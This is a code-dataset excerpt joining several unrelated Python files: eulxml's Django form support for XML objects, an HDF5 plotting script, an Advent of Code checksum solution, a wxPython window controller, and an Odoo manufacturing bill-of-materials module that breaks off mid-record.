fieldname_to_label(name)\n if isinstance(field, xmlmap.fields.IntegerListField):\n listform = IntegerListFieldForm\n else:\n listform = ListFieldForm\n formsets[name] = formset_factory(listform, formset=BaseXmlObjectListFieldFormSet)\n formsets[name].form_label = form_label\n else:\n raise Exception(b'Error on field \"%s\": XmlObjectForm does not yet support auto form field generation for %s.' % (\n name, field.__class__))\n if field_type is not None:\n if b'label' not in kwargs:\n kwargs[b'label'] = fieldname_to_label(name)\n formfields[name] = field_type(**kwargs)\n field_order[field.creation_counter] = name\n\n if fieldlist:\n ordered_fields = SortedDict((name, formfields[name]) for name in fieldlist.fields if name in formfields)\n ordered_subforms = SortedDict((name, subforms[name]) for name in fieldlist.fields if name in subforms)\n ordered_formsets = SortedDict((name, formsets[name]) for name in fieldlist.fields if name in formsets)\n else:\n ordered_fields = SortedDict([ (field_order[key], formfields[field_order[key]]) for key in sorted(field_order.keys()) if field_order[key] in formfields\n ])\n ordered_subforms = SortedDict([ (field_order[key], subforms[field_order[key]]) for key in sorted(field_order.keys()) if field_order[key] in subforms\n ])\n ordered_formsets = SortedDict([ (field_order[key], formsets[field_order[key]]) for key in sorted(field_order.keys()) if field_order[key] in formsets\n ])\n return (ordered_fields, ordered_subforms, ordered_formsets, subform_labels)\n\n\ndef xmlobject_to_dict(instance, fields=None, exclude=None, prefix=b''):\n \"\"\"\n Generate a dictionary based on the data in an XmlObject instance to pass as\n a Form's ``initial`` keyword argument.\n\n :param instance: instance of :class:`~eulxml.xmlmap.XmlObject`\n :param fields: optional list of fields - if specified, only the named fields\n will be included in the data returned\n :param exclude: optional list of fields to exclude from the data\n \"\"\"\n data = {}\n if prefix:\n prefix = b'%s-' % prefix\n else:\n prefix = b''\n for name, field in six.iteritems(instance._fields):\n if fields and name not in fields:\n continue\n if exclude and name in exclude:\n continue\n if isinstance(field, xmlmap.fields.NodeField):\n nodefield = getattr(instance, name)\n if nodefield is not None:\n subprefix = b'%s%s' % (prefix, name)\n node_data = xmlobject_to_dict(nodefield, prefix=subprefix)\n data.update(node_data)\n if isinstance(field, xmlmap.fields.NodeListField):\n for i, child in enumerate(getattr(instance, name)):\n subprefix = b'%s%s-%d' % (prefix, name, i)\n node_data = xmlobject_to_dict(child, prefix=subprefix)\n data.update(node_data)\n\n else:\n data[prefix + name] = getattr(instance, name)\n\n return data\n\n\nclass XmlObjectFormType(type):\n \"\"\"\n Metaclass for :class:`XmlObject`.\n\n Analogous to, and substantially based on, Django's ``ModelFormMetaclass``.\n\n Initializes the XmlObjectForm based on the :class:`~eulxml.xmlmap.XmlObject`\n instance associated as a model. Adds form fields for supported\n :class:`~eulxml.xmlmap.fields.Field`s and 'subform' XmlObjectForm classes\n for any :class:`~eulxml.xmlmap.fields.NodeField` to the Form object.\n \"\"\"\n\n def __new__(cls, name, bases, attrs):\n tmp_fields = get_declared_fields(bases, attrs, with_base_fields=False)\n declared_fields = {}\n declared_subforms = {}\n declared_subform_labels = {}\n for fname, f in six.iteritems(tmp_fields):\n if isinstance(f, SubformField):\n declared_subforms[fname] = f.formclass\n if hasattr(f, b'form_label') and f.form_label is not None:\n declared_subform_labels[fname] = f.form_label\n elif hasattr(f.formclass, b'form_label') and f.formclass.form_label is not None:\n declared_subform_labels[fname] = f.formclass.form_label\n else:\n declared_fields[fname] = f\n\n new_class = super(XmlObjectFormType, cls).__new__(cls, name, bases, attrs)\n opts = new_class._meta = SubformAwareModelFormOptions(getattr(new_class, b'Meta', None))\n if opts.model:\n fields, subforms, formsets, subform_labels = formfields_for_xmlobject(opts.model, options=opts, declared_subforms=declared_subforms)\n fields.update(declared_fields)\n new_class.subforms = subforms\n new_class.formsets = formsets\n subform_labels.update(declared_subform_labels)\n new_class.subform_labels = subform_labels\n else:\n fields = declared_fields\n new_class.subforms = {}\n new_class.formsets = {}\n new_class.declared_fields = declared_fields\n new_class.base_fields = fields\n return new_class\n\n\nclass XmlObjectForm(six.with_metaclass(XmlObjectFormType, BaseForm)):\n \"\"\"Django Form based on an :class:`~eulxml.xmlmap.XmlObject` model,\n analogous to Django's ModelForm.\n\n Note that not all :mod:`eulxml.xmlmap.fields` are currently supported; all\n released field types are supported in their single-node variety, but no list\n field types are currently supported. Attempting to define an XmlObjectForm\n without excluding unsupported fields will result in an Exception.\n\n Unlike Django's ModelForm, which provides a save() method, XmlObjectForm\n provides analogous functionality via :meth:`update_instance`. Since an\n XmlObject by itself does not have a save method, and can only be saved\n in particular contexts, there is no general way for an XmlObjectForm to\n save an associated model instance to the appropriate datastore.\n\n If you wish to customize the html display for an XmlObjectForm, rather than\n using the built-in form display functions, be aware that if your XmlObject\n has any fields of type :class:`~eulxml.xmlmap.fields.NodeField`, you should\n make sure to display the subforms for those fields.\n\n NOTE: If your XmlObject includes NodeField elements and you do not want\n empty elements in your XML output when empty values are entered into the form,\n you may wish to extend :meth:`eulxml.xmlmap.XmlObject.is_empty` to correctly\n identify when your NodeField elements should be considered empty (if the\n default definition is not accurate or appropriate). Empty elements will not\n be added to the :class:`eulxml.xmlmap.XmlObject` instance returned by\n :meth:`update_instance`.\n \"\"\"\n _html_section = None\n subforms = {}\n form_label = None\n\n def __init__(self, data=None, instance=None, prefix=None, initial={}, **kwargs):\n opts = self._meta\n local_initial = initial.copy()\n if instance is None:\n if opts.model is None:\n raise ValueError(b'XmlObjectForm has no XmlObject model class specified')\n self.instance = opts.model()\n else:\n self.instance = instance\n local_initial.update(xmlobject_to_dict(self.instance))\n self.instance.xmlschema\n self._init_subforms(data, prefix)\n self._init_formsets(data, prefix)\n super_init = super(XmlObjectForm, self).__init__\n super_init(data=data, prefix=prefix, initial=local_initial, **kwargs)\n return\n\n def _init_subforms(self, data=None, prefix=None):\n self.subforms = SortedDict()\n for name, subform in six.iteritems(self.__class__.subforms):\n if self.instance is not None:\n getattr(self.instance, b'create_' + name)()\n subinstance = getattr(self.instance, name, None)\n else:\n subinstance = None\n if prefix:\n subprefix = b'%s-%s' % (prefix, name)\n else:\n subprefix = name\n newform = subform(data=data, instance=subinstance, prefix=subprefix)\n if newform.form_label is None:\n if name in self.subform_labels:\n newform.form_label = self.subform_labels[name]\n self.subforms[name] = newform\n\n return\n\n def _init_formsets(self, data=None, prefix=None):\n self.formsets = {}\n for name, formset in six.iteritems(self.__class__.formsets):\n if self.instance is not None:\n subinstances = getattr(self.instance, name, None)\n else:\n subinstances = None\n if prefix is not None:\n subprefix = b'%s-%s' % (prefix, name)\n else:\n subprefix = name\n self.formsets[name] = formset(data=data, instances=subinstances, prefix=subprefix)\n\n return\n\n def update_instance(self):\n \"\"\"Save bound form data into the XmlObject model instance and return the\n updated instance.\"\"\"\n if hasattr(self, b'cleaned_data'):\n opts = self._meta\n fields_in_order = []\n if hasattr(self.Meta, b'fields'):\n fields_in_order.extend(self.Meta.fields)\n fields_in_order.extend([ name for name in six.iterkeys(self.instance._fields) if name in self.Meta.fields\n ])\n else:\n fields_in_order = self.instance._fields.keys()\n for name in fields_in_order:\n if opts.fields and name not in opts.parsed_fields.fields:\n continue\n if opts.exclude and name in opts.parsed_exclude.fields:\n continue\n if name in self.cleaned_data:\n if self.cleaned_data[name] == b'':\n self.cleaned_data[name] = None\n setattr(self.instance, name, self.cleaned_data[name])\n\n for name, subform in six.iteritems(self.subforms):\n self._update_subinstance(name, subform)\n\n for formset in six.itervalues(self.formsets):\n formset.update_instance()\n\n return self.instance\n\n def _update_subinstance(self, name, subform):\n \"\"\"Save bound data for a single subform into the XmlObject model\n instance.\"\"\"\n old_subinstance = getattr(self.instance, name)\n new_subinstance = subform.update_instance()\n if old_subinstance is None and not new_subinstance.is_empty():\n setattr(self.instance, name, new_subinstance)\n if old_subinstance is not None and new_subinstance.is_empty():\n delattr(self.instance, name)\n return\n\n def is_valid(self):\n \"\"\"Returns True if this form and all subforms (if any) are valid.\n\n If all standard form-validation tests pass, uses :class:`~eulxml.xmlmap.XmlObject`\n validation methods to check for schema-validity (if a schema is associated)\n and reporting errors. Additonal notes:\n\n * schema validation requires that the :class:`~eulxml.xmlmap.XmlObject`\n be initialized with the cleaned form data, so if normal validation\n checks pass, the associated :class:`~eulxml.xmlmap.XmlObject` instance\n will be updated with data via :meth:`update_instance`\n * schema validation errors SHOULD NOT happen in a production system\n\n :rtype: boolean\n \"\"\"\n valid = super(XmlObjectForm, self).is_valid() and all(s.is_valid() for s in six.itervalues(self.subforms)) and all(s.is_valid() for s in six.itervalues(self.formsets))\n if valid and self.instance is not None:\n instance = self.update_instance()\n if instance.is_valid():\n return True\n if NON_FIELD_ERRORS not in self._errors:\n self._errors[NON_FIELD_ERRORS] = self.error_class()\n self._errors[NON_FIELD_ERRORS].append(b'There was an unexpected schema validation error. ' + b'This should not happen! Please report the following errors:')\n for err in instance.validation_errors():\n self._errors[NON_FIELD_ERRORS].append(b'VALIDATION ERROR: %s' % err.message)\n\n return False\n return valid\n\n def _html_output(self, normal_row, error_row, row_ender, help_text_html, errors_on_separate_row):\n \"\"\"Extend BaseForm's helper function for outputting HTML. Used by as_table(), as_ul(), as_p().\n\n Combines the HTML version of the main form's fields with the HTML content\n for any subforms.\n \"\"\"\n parts = []\n parts.append(super(XmlObjectForm, self)._html_output(normal_row, error_row, row_ender, help_text_html, errors_on_separate_row))\n\n def _subform_output(subform):\n return subform._html_output(normal_row, error_row, row_ender, help_text_html, errors_on_separate_row)\n\n for name, subform in six.iteritems(self.subforms):\n if hasattr(subform, b'form_label'):\n name = subform.form_label\n parts.append(self._html_subform_output(subform, name, _subform_output))\n\n for name, formset in six.iteritems(self.formsets):\n parts.append(u(formset.management_form))\n if hasattr(formset.forms[0], b'form_label') and formset.forms[0].form_label is not None:\n name = formset.forms[0].form_label\n else:\n if hasattr(formset, b'form_label'):\n name = formset.form_label\n subform_parts = list()\n for subform in formset.forms:\n subform_parts.append(self._html_subform_output(subform, gen_html=_subform_output, suppress_section=True))\n\n parts.append(self._html_subform_output(name=name, content=(b'\\n').join(subform_parts)))\n\n return mark_safe((b'\\n').join(parts))\n\n def _html_subform_output(self, subform=None, name=None, gen_html=None, content=None, suppress_section=False):\n if subform is not None:\n subform._html_section = self._html_section\n if gen_html is not None:\n content = gen_html(subform)\n if self._html_section is not None and not suppress_section:\n return self._html_section % {b'label': fieldname_to_label(name), b'content': content}\n else:\n return content\n return\n\n def as_table(self):\n \"\"\"Behaves exactly the same as Django Form's as_table() method,\n except that it also includes the fields for any associated subforms\n in table format.\n\n Subforms, if any, will be grouped in a labeled with a heading\n based on the label of the field.\n \"\"\"\n self._html_section = b'%(label)s\\n%(content)s
'\n return super(XmlObjectForm, self).as_table()\n\n def as_p(self):\n \"\"\"Behaves exactly the same as Django Form's as_p() method,\n except that it also includes the fields for any associated subforms\n in paragraph format.\n\n Subforms, if any, will be grouped in a
of class 'subform',\n with a heading based on the label of the field.\n \"\"\"\n self._html_section = b'

%(label)s

%(content)s
'\n return super(XmlObjectForm, self).as_p()\n\n def as_ul(self):\n \"\"\"Behaves exactly the same as Django Form's as_ul() method,\n except that it also includes the fields for any associated subforms\n in list format.\n\n Subforms, if any, will be grouped in a
    of class 'subform',\n with a heading based on the label of the field.\n \"\"\"\n self._html_section = b'
  • %(label)s

      %(content)s
  • '\n return super(XmlObjectForm, self).as_ul()\n\n\ndef xmlobjectform_factory(model, form=XmlObjectForm, fields=None, exclude=None, widgets=None, max_num=None, label=None, can_delete=True, extra=None, can_order=False):\n \"\"\"Dynamically generate a new :class:`XmlObjectForm` class using the\n specified :class:`eulxml.xmlmap.XmlObject` class.\n\n Based on django's modelform_factory.\n \"\"\"\n attrs = {b'model': model}\n if fields is not None:\n attrs[b'fields'] = fields\n if exclude is not None:\n attrs[b'exclude'] = exclude\n if widgets is not None:\n attrs[b'widgets'] = widgets\n if max_num is not None:\n attrs[b'max_num'] = max_num\n if extra is not None:\n attrs[b'extra'] = extra\n if can_delete is not None:\n attrs[b'can_delete'] = can_delete\n if can_order is not None:\n attrs[b'can_order'] = can_order\n parent = (\n object,)\n if hasattr(form, b'Meta'):\n parent = (\n form.Meta, object)\n Meta = type(str(b'Meta'), parent, attrs)\n class_name = model.__name__ + str(b'XmlObjectForm')\n form_class_attrs = {b'Meta': Meta, \n b'form_label': label}\n return XmlObjectFormType(class_name, (form,), form_class_attrs)\n\n\nclass BaseXmlObjectFormSet(BaseFormSet):\n\n def __init__(self, instances, **kwargs):\n self.instances = instances\n if b'initial' not in kwargs:\n kwargs[b'initial'] = [ xmlobject_to_dict(instance) for instance in instances ]\n super_init = super(BaseXmlObjectFormSet, self).__init__\n super_init(**kwargs)\n\n def _construct_form(self, i, **kwargs):\n try:\n defaults = {b'instance': self.instances[i]}\n except:\n defaults = {}\n\n defaults.update(kwargs)\n super_construct = super(BaseXmlObjectFormSet, self)._construct_form\n return super_construct(i, **defaults)\n\n def update_instance(self):\n for form in getattr(self, b'deleted_forms', []):\n if form.instance in self.instances:\n self.instances.remove(form.instance)\n\n if self.can_order:\n for form in self.ordered_forms:\n if form.instance in self.instances:\n self.instances.remove(form.instance)\n form.update_instance()\n self.instances.append(form.instance)\n\n else:\n for form in self.initial_forms:\n if form.has_changed():\n form.update_instance()\n\n for form in self.extra_forms:\n if form.has_changed():\n form.update_instance()\n self.instances.append(form.instance)\n\n\nclass SubformField(Field):\n \"\"\"This is a pseudo-form field: use to override the form class of a subform or\n formset that belongs to an :class:`XmlObjectForm`.\n\n Note that if you specify a list of fields, the subform or formset needs to\n be included in that list or it will not be displayed when the form is generated.\n\n Example usage::\n\n class MyFormPart(XmlObjectForm):\n id = StringField(label='my id', required=False)\n ...\n\n class MyForm(XmlObjectForm):\n part = SubformField(formclass=MyFormPart)\n ...\n\n In this example, the subform ``part`` on an instance of **MyForm** will be\n created as an instance of **MyFormPart**.\n \"\"\"\n\n def __init__(self, formclass=None, label=None, can_delete=True, can_order=False, *args, **kwargs):\n if formclass is not None:\n self.formclass = formclass\n if label is not None:\n self.form_label = label\n self.can_delete = can_delete\n self.can_order = can_order\n super(SubformField, self).__init__(*args, **kwargs)\n return\n\n\nclass ListFieldForm(Form):\n \"\"\"Basic, single-input form to use for non-nodelist xmlmap list field formsets\"\"\"\n val = CharField(label=b'', required=False)\n\n def __init__(self, instance=None, *args, **kwargs):\n if instance is not None:\n kwargs[b'initial'] = {b'val': instance}\n super(ListFieldForm, self).__init__(*args, **kwargs)\n return\n\n @property\n def value(self):\n cleaned_data = self.clean()\n if b'val' in cleaned_data:\n return cleaned_data[b'val']\n\n\nclass IntegerListFieldForm(ListFieldForm):\n \"\"\"Extend :class:`ListFieldForm` and set input field to be an IntegerField\"\"\"\n val = IntegerField(label=b'', required=False)\n\n\nclass BaseXmlObjectListFieldFormSet(BaseFormSet):\n \"\"\"Formset class for non-node-based xmlmap list fields (e.g., string & integer list fields)\"\"\"\n\n def __init__(self, instances, **kwargs):\n self.instance = instances\n super(BaseXmlObjectListFieldFormSet, self).__init__(**kwargs)\n\n def initial_form_count(self):\n return len(self.instance)\n\n def _construct_form(self, i, **kwargs):\n try:\n defaults = {b'instance': self.instance[i]}\n except:\n defaults = {}\n\n defaults.update(kwargs)\n return super(BaseXmlObjectListFieldFormSet, self)._construct_form(i, **defaults)\n\n def update_instance(self):\n values = [ form.value for form in self.forms if form.value ]\n while len(self.instance):\n self.instance.pop()\n\n self.instance.extend(values)","sub_path":"pycfiles/eulxml-1.1.3.macosx-10.10-intel.tar/xmlobject.py","file_name":"xmlobject.py","file_ext":"py","file_size_in_byte":31067,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"279301957","text":"import h5py\nimport numpy as np\n#import matplotlib\n#matplotlib.use('Agg')\nimport matplotlib.pyplot as plt\n\nfilename = 'C:/Users/Christopher Plumberg/Desktop/Research/UIUC/initial.hdf'\n\nfig, ax = plt.subplots( nrows=1, ncols=1 )\n\nwith h5py.File(filename, \"r\") as f:\n # List all groups\n print(\"Keys: %s\" % f.keys())\n a_group_key = list(f.keys())[0]\n\n # Get the data\n data = np.array(f[a_group_key])\n \n dxy = 0.1434\n nx = ny = 110\n dx = dxy\n dy = dxy\n \n #print(data.shape)\n #print(np.amax(data[:,2]))\n #print(np.amin(data[:,2]))\n \n ev = f['event_0']\n print(ev.attrs.keys())\n \n ax.imshow(data, interpolation='nearest', \\\n origin='lower', extent=[-nx*dx, nx*dx, -ny*dy, ny*dy],\n cmap=plt.get_cmap('gnuplot'))\n \n #plt.text(0.075, 0.925, r'$\\tau = %(t)5.2f$ fm$/c$'%{'t': tau}, \\\n # {'color': 'white', 'fontsize': 12}, transform=ax.transAxes,\n # horizontalalignment='left', verticalalignment='top')\n \n ax.set_xlabel(r'$x$ (fm)', fontsize=16)\n ax.set_ylabel(r'$y$ (fm)', fontsize=16)\n \n plt.show()\n #outfilename = 'C:/Users/Christopher Plumberg/Desktop/Research/UIUC/initial_Duke.pdf'\n #print('Saving to', outfilename)\n #fig.savefig(outfilename, bbox_inches='tight')\n #plt.close(fig)\n","sub_path":"resultsFiles/plot_initial_hdf.py","file_name":"plot_initial_hdf.py","file_ext":"py","file_size_in_byte":1333,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"571900835","text":"with open('../../input') as _file:\n _input = _file.read()\n ids = _input.split('\\n')\n\ndoubles = 0\ntriples = 0\n\nfor id in ids:\n chars = set(id)\n has_doubles = False\n has_triples = False\n for char in chars:\n count = id.count(char)\n if count == 2:\n has_doubles = True\n elif count == 3:\n has_triples = True\n if has_doubles:\n doubles = doubles + 1\n if has_triples:\n triples = triples + 1\n\n\n# print(\"Doubles: {}\".format(doubles))\n# print(\"Triples: {}\".format(triples))\n\nprint(\"Checksum: {}\".format(doubles * triples))\n","sub_path":"day02/part1/python/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":592,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"144487881","text":"# -*- coding: utf-8 -*-\n# @Author: JimZhang\n# @Date: 2018-08-11 10:49:59\n# @Last Modified by: JimDreamHeart\n# @Last Modified time: 2018-08-26 16:12:06\n\nimport wx;\n\nfrom _Global import _GG;\nfrom _Global import isExist_G;\n\nfrom ParentWindowUI import *;\n\ndef getRegisterEventMap(G_EVENT):\n\treturn {\n\t\tG_EVENT.SHOW_SEARCH_PANEL_EVENT : \"showSearchPanelWindow\",\n\t\tG_EVENT.ESC_DOWN_EVENT : \"onEscDownEvent\",\n\t};\n\nclass ParentWindowCtr(object):\n\t\"\"\"docstring for ParentWindowCtr\"\"\"\n\tdef __init__(self, parent = None, params = {}):\n\t\tsuper(ParentWindowCtr, self).__init__();\n\t\tself.className_ = ParentWindowCtr.__name__;\n\t\tself.curPath = _GG(\"g_CommonPath\") + \"window\\\\ParentWindow\\\\\";\n\t\tself.initUI(parent);\n\t\tself.registerEventMap(); # 注册事件\n\t\tself.bindEvents(); # 绑定界面事件\n\t\tself.escDownEventList = []; # ESC按键事件列表\n\n\tdef __del__(self):\n\t\tif isExist_G(): # window控制类中的析构函数,涉及到全局变量时,要判断全局变量是否存在\n\t\t\tself.unRegisterEventMap(); # 反注册事件\n\t\tpass;\n\n\tdef initUI(self, parent = None):\n\t\t# 创建视图UI类\n\t\twindowTitle = _GG(\"Title\");\n\t\twindowSize = _GG(\"WinSize\");\n\t\twindowStyle = wx.DEFAULT_FRAME_STYLE|wx.FRAME_NO_WINDOW_MENU; # wx.DEFAULT_FRAME_STYLE^(wx.RESIZE_BORDER|wx.MAXIMIZE_BOX|wx.MINIMIZE_BOX|wx.CLOSE_BOX);\n\t\tself.UI = ParentWindowUI(parent, id = -1, title = windowTitle, size = windowSize, style = windowStyle, curPath = self.curPath, windowCtr = self);\n\t\tself.UI.initWindow();\n\n\tdef getUI(self):\n\t\treturn self.UI;\n\t\t\n\t\"\"\"\n\t\tkey : 索引所创建控制类的key值\n\t\tpath : 所创建控制类的路径\n\t\tparent : 所创建控制类的UI的父节点,默认为本UI\n\t\tparams : 扩展参数\n\t\"\"\"\n\tdef createCtrByKey(self, key, path, parent = None, params = {}):\n\t\tif not parent:\n\t\t\tparent = self.getUI();\n\t\tsetattr(self, key, CreateCtr(path, parent, params = params));\n\n\tdef getUIByKey(self, key):\n\t\treturn getattr(self, key).getUI();\n\t\t\n\tdef registerEventMap(self):\n\t\teventMap = getRegisterEventMap(_GG(\"EVENT_ID\"));\n\t\tfor eventId, callbackName in eventMap.items():\n\t\t\t_GG(\"EventDispatcher\").register(eventId, self, callbackName);\n\n\tdef unRegisterEventMap(self):\n\t\teventMap = getRegisterEventMap(_GG(\"EVENT_ID\"));\n\t\tfor eventId, callbackName in eventMap.items():\n\t\t\t_GG(\"EventDispatcher\").unRegister(eventId, self, callbackName);\n\t\t\t\n\tdef updateWindow(self, data):\n\t\tself.UI.updateWindow(data);\n\n\tdef bindEvents(self):\n\t\tself.UI.Bind(wx.EVT_SIZE, self.onWinSize);\n\t\tself.bindClientWinSizeEvents();\n\t\tpass;\n\n\tdef onWinSize(self, event):\n\t\tself.UI.ClientWindow.Size = self.UI.Size;\n\n\t# 客户(父)窗口大小变化事件回调\n\tdef onClientWinSize(self, event):\n\t\tfor funcId in self.clientWinSizeEventDict:\n\t\t\tself.clientWinSizeEventDict[funcId](event);\n\t\t# 重置lastSize\n\t\tself.PreUISize = self.UI.Size;\n\n\t# 绑定客户(父)窗口大小变化事件\n\tdef bindClientWinSizeEvents(self):\n\t\tself.PreUISize = self.UI.Size;\n\t\tself.clientWinSizeEventDict = {};\n\t\tself.UI.ClientWindow.Bind(wx.EVT_SIZE, self.onClientWinSize);\n\n\t# 绑定事件到客户(父)窗口大小变化事件列表中\n\tdef bindEventToClientWinSize(self, func):\n\t\tfuncId = id(func);\n\t\tif funcId not in self.clientWinSizeEventDict:\n\t\t\tself.clientWinSizeEventDict[funcId] = func;\n\n\t# 根据ID设置当前窗口(设置成功则返回True)\n\tdef SetActiveChildById(self, wID):\n\t\tcurActiveChild = self.UI.GetActiveChild();\n\t\t# 判断是否有当前节点\n\t\tif curActiveChild:\n\t\t\tif curActiveChild.GetId() == wID:\n\t\t\t\treturn False; # 如果当前的窗口ID与wID相同,则直接return\n\t\t\twhile True:\n\t\t\t\t# 循环遍历并更新当前窗口\n\t\t\t\tself.UI.ActivateNext();\n\t\t\t\tif self.UI.GetActiveChild().GetId() == wID:\n\t\t\t\t\treturn True;\n\t\t\t\telif self.UI.GetActiveChild().GetId() == curActiveChild.GetId():\n\t\t\t\t\tbreak;\n\t\treturn False;\n\n\t# 显示搜索面板窗口\n\tdef showSearchPanelWindow(self, data):\n\t\tcurActiveChild = self.UI.GetActiveChild();\n\t\tif not hasattr(self, \"SearchPanelWindowCtr\"):\n\t\t\tif curActiveChild:\n\t\t\t\tself.appendEventToEscDown(self.SetActiveChildById, curActiveChild.GetId());\n\t\t\t# 创建搜索面板\n\t\t\tself.SearchPanelWindowCtr = CreateCtr(_GG(\"g_CommonPath\") + \"window\\\\SearchPanelWindow\", self.UI);\n\t\t\t# 根据父窗口大小获取中心位置\n\t\t\tcenterPos = self.SearchPanelWindowCtr.getCenterPosByParentSize(self.UI.GetSize());\n\t\t\tself.SearchPanelWindowCtr.getUI().SetPosition((centerPos[0], 0)); # 重置窗口的位置\n\t\telse:\n\t\t\tself.SearchPanelWindowCtr.clearWindow(); # 清除窗口内容\n\t\t\tif curActiveChild and curActiveChild.GetId() != self.SearchPanelWindowCtr.getUI().GetId():\n\t\t\t\t# 根据ID设置当前窗口(设置成功则返回True)\n\t\t\t\tif self.SetActiveChildById(self.SearchPanelWindowCtr.getUI().GetId()):\n\t\t\t\t\tself.appendEventToEscDown(self.SetActiveChildById, curActiveChild.GetId());\n\t\t\n\t# 添加ESC按键事件\n\tdef appendEventToEscDown(self, function, data = None):\n\t\tself.escDownEventList.append({\"function\" : function, \"data\" : data});\n\t\tpass;\n\n\t# ESC按键事件回调\n\tdef onEscDownEvent(self, data):\n\t\tif len(self.escDownEventList) > 0:\n\t\t\tescDownEvent = self.escDownEventList.pop();\n\t\t\tif \"function\" in escDownEvent and callable(escDownEvent[\"function\"]):\n\t\t\t\tif escDownEvent[\"data\"]:\n\t\t\t\t\tescDownEvent[\"function\"](escDownEvent[\"data\"]);\n\t\t\t\telse:\n\t\t\t\t\tescDownEvent[\"function\"]();","sub_path":"client/app/assets/script/common/window/ParentWindow/ParentWindowCtr.py","file_name":"ParentWindowCtr.py","file_ext":"py","file_size_in_byte":5316,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"117717048","text":"# -*- coding: utf-8 -*-\n\nfrom odoo import models, fields, api, _\nfrom odoo.exceptions import ValidationError, UserError\n\nimport requests as Requests\n\nfrom requests import ConnectionError, RequestException, exceptions\n\nimport json\n\nMASTER_DEL_WROKORDERS_API = '/rush/v1/mrp.routing.workcenter.delete'\n\nMASTER_WROKORDERS_API = '/rush/v1/mrp.routing.workcenter'\n\n\nclass MrpBom(models.Model):\n _inherit = 'mrp.bom'\n operation_ids = fields.Many2many('mrp.routing.workcenter', related='routing_id.sa_operation_ids',\n copy=False, readonly=True)\n\n\n has_operations = fields.Boolean(compute='_compute_has_operations')\n\n @api.multi\n @api.depends('operation_ids')\n def _compute_has_operations(self):\n for bom_id in self:\n bom_id.has_operations = True if len(bom_id.operation_ids) else False\n\n #\n # @api.multi\n # def button_add_operation(self):\n # self.ensure_one()\n # compose_form = self.env.ref('sa_base.mrp_bom_operation_wizard_from', False)\n # ctx = dict(\n # self.env.context,\n # default_routing_id=self.routing_id.id if self.routing_id else False\n # )\n #\n # return {\n # 'name': _('MRP Operation Setting'),\n # 'type': 'ir.actions.act_window',\n # 'view_type': 'form',\n # 'view_mode': 'form',\n # 'res_model': 'mrp.routing.wc.form',\n # 'views': [(compose_form.id, 'form')],\n # 'view_id': compose_form.id,\n # 'target': 'new',\n # 'context': ctx,\n # }\n\n @api.multi\n def button_resequence(self):\n self.ensure_one()\n for idx, bom_line_id in enumerate(self.bom_line_ids):\n bom_line_id.write({'sequence': idx + 1})\n\n @api.onchange('routing_id', 'product_id')\n def _onchange_routing_id(self):\n self.code = u'[{0}]{1}'.format(self.routing_id.name, self.product_id.name)\n self.operation_ids = [(5,)] # 刪除所有作業\n self.bom_line_ids = [(5,)] # 删除所有BOM行\n\n @api.constrains('product_id', 'product_tmpl_id')\n def _product_tmpl_product_constraint(self):\n if self.product_id.product_tmpl_id.id != self.product_tmpl_id.id:\n raise ValidationError(_(u'The product template \"%s\" is invalid on product with name \"%s\"') % (\n self.product_tmpl_id.name, self.product_id.name))\n\n @api.constrains('product_id', 'routing_id', 'active')\n def _constraint_active_product_routing(self):\n if not self.active:\n return\n ###只有激活状态才检查\n count = self.env['mrp.bom'].search_count(\n [('id', '!=', self.id), ('product_id', '=', self.product_id.id), ('routing_id', '=', self.routing_id.id),\n ('active', '=', True)])\n if count:\n raise ValidationError(\n _(u'The product had a related routing config \"%s\" been actived!') % (self.product_id.name))\n\n @api.constrains('product_tmpl_id', 'routing_id', 'active')\n def _constraint_active_product_tmpl_routing(self):\n if not self.active:\n return\n ###只有激活状态才检查\n count = self.env['mrp.bom'].search_count(\n [('id', '!=', self.id), ('product_tmpl_id', '=', self.product_tmpl_id.id),\n ('routing_id', '=', self.routing_id.id), ('active', '=', True)])\n if count:\n raise ValidationError(\n _(u'The product Template had a related routing config \"%s\" been actived!') % (\n self.product_tmpl_id.name))\n\n def _onchange_operations(self):\n self.ensure_one()\n operation_ids = self.operation_ids\n need_delete_bom_line = self.env['mrp.bom.line']\n for bom_line in self.bom_line_ids:\n if bom_line.operation_id.id not in operation_ids.ids:\n need_delete_bom_line += bom_line\n need_delete_bom_line.unlink() # delete bom line ids\n\n bom_line_operations = self.bom_line_ids.mapped('operation_id')\n\n delta_operation = self.operation_ids - bom_line_operations\n for operation in delta_operation:\n for operation_point in operation.sa_step_ids.mapped('operation_point_ids'):\n if not operation_point.product_id:\n raise UserError(u'未定义作业点{0}的螺栓,请定义'.format(operation_point.name))\n val = {\n \"operation_point_id\": operation_point.id,\n \"product_id\": operation_point.product_id.id,\n \"bom_id\": self.id,\n }\n self.env['mrp.bom.line'].sudo().create(val)\n\n @api.model\n def create(self, vals):\n auto_operation_inherit = self.env['ir.values'].get_default('sa.config.settings', 'auto_operation_inherit')\n if auto_operation_inherit and 'routing_id' in vals:\n routing_id = self.env['mrp.routing'].browse(vals['routing_id'])\n operation_ids = routing_id.operation_ids\n vals.update({'operation_ids': [(6, None, operation_ids.ids)]})\n ret = super(MrpBom, self).create(vals)\n # if 'operation_ids' in vals:\n ret._onchange_operations()\n return ret\n\n @api.multi\n def write(self, vals):\n ret = super(MrpBom, self).write(vals)\n # if 'operation_ids' in vals:\n self._onchange_operations()\n return ret\n\n @api.multi\n def unlink(self):\n raise ValidationError(u'不允许删除物料清单')\n\n @api.one\n def button_send_mrp_routing_workcenter(self):\n if not self.operation_ids:\n return True\n for operation in self.operation_ids:\n master = operation.workcenter_id.masterpc_id if operation.workcenter_id else None\n if not master:\n continue\n connections = master.connection_ids.filtered(\n lambda r: r.protocol == 'http') if master.connection_ids else None\n if not connections:\n continue\n url = \\\n ['http://{0}:{1}{2}'.format(connect.ip, connect.port, MASTER_WROKORDERS_API) for connect in connections][0]\n\n operation._push_mrp_routing_workcenter(url)\n return True\n\n\nclass MrpBomLine(models.Model):\n _inherit = 'mrp.bom.line'\n\n active = fields.Boolean(\n 'Active', default=True,\n help=\"If the active field is set to False, it will allow you to hide the bills of material without removing it.\")\n\n operation_point_id = fields.Many2one('mrp.step', required=1, ondelete='cascade')\n\n product_id = fields.Many2one('product.product', related=\"operation_point_id.product_id\", 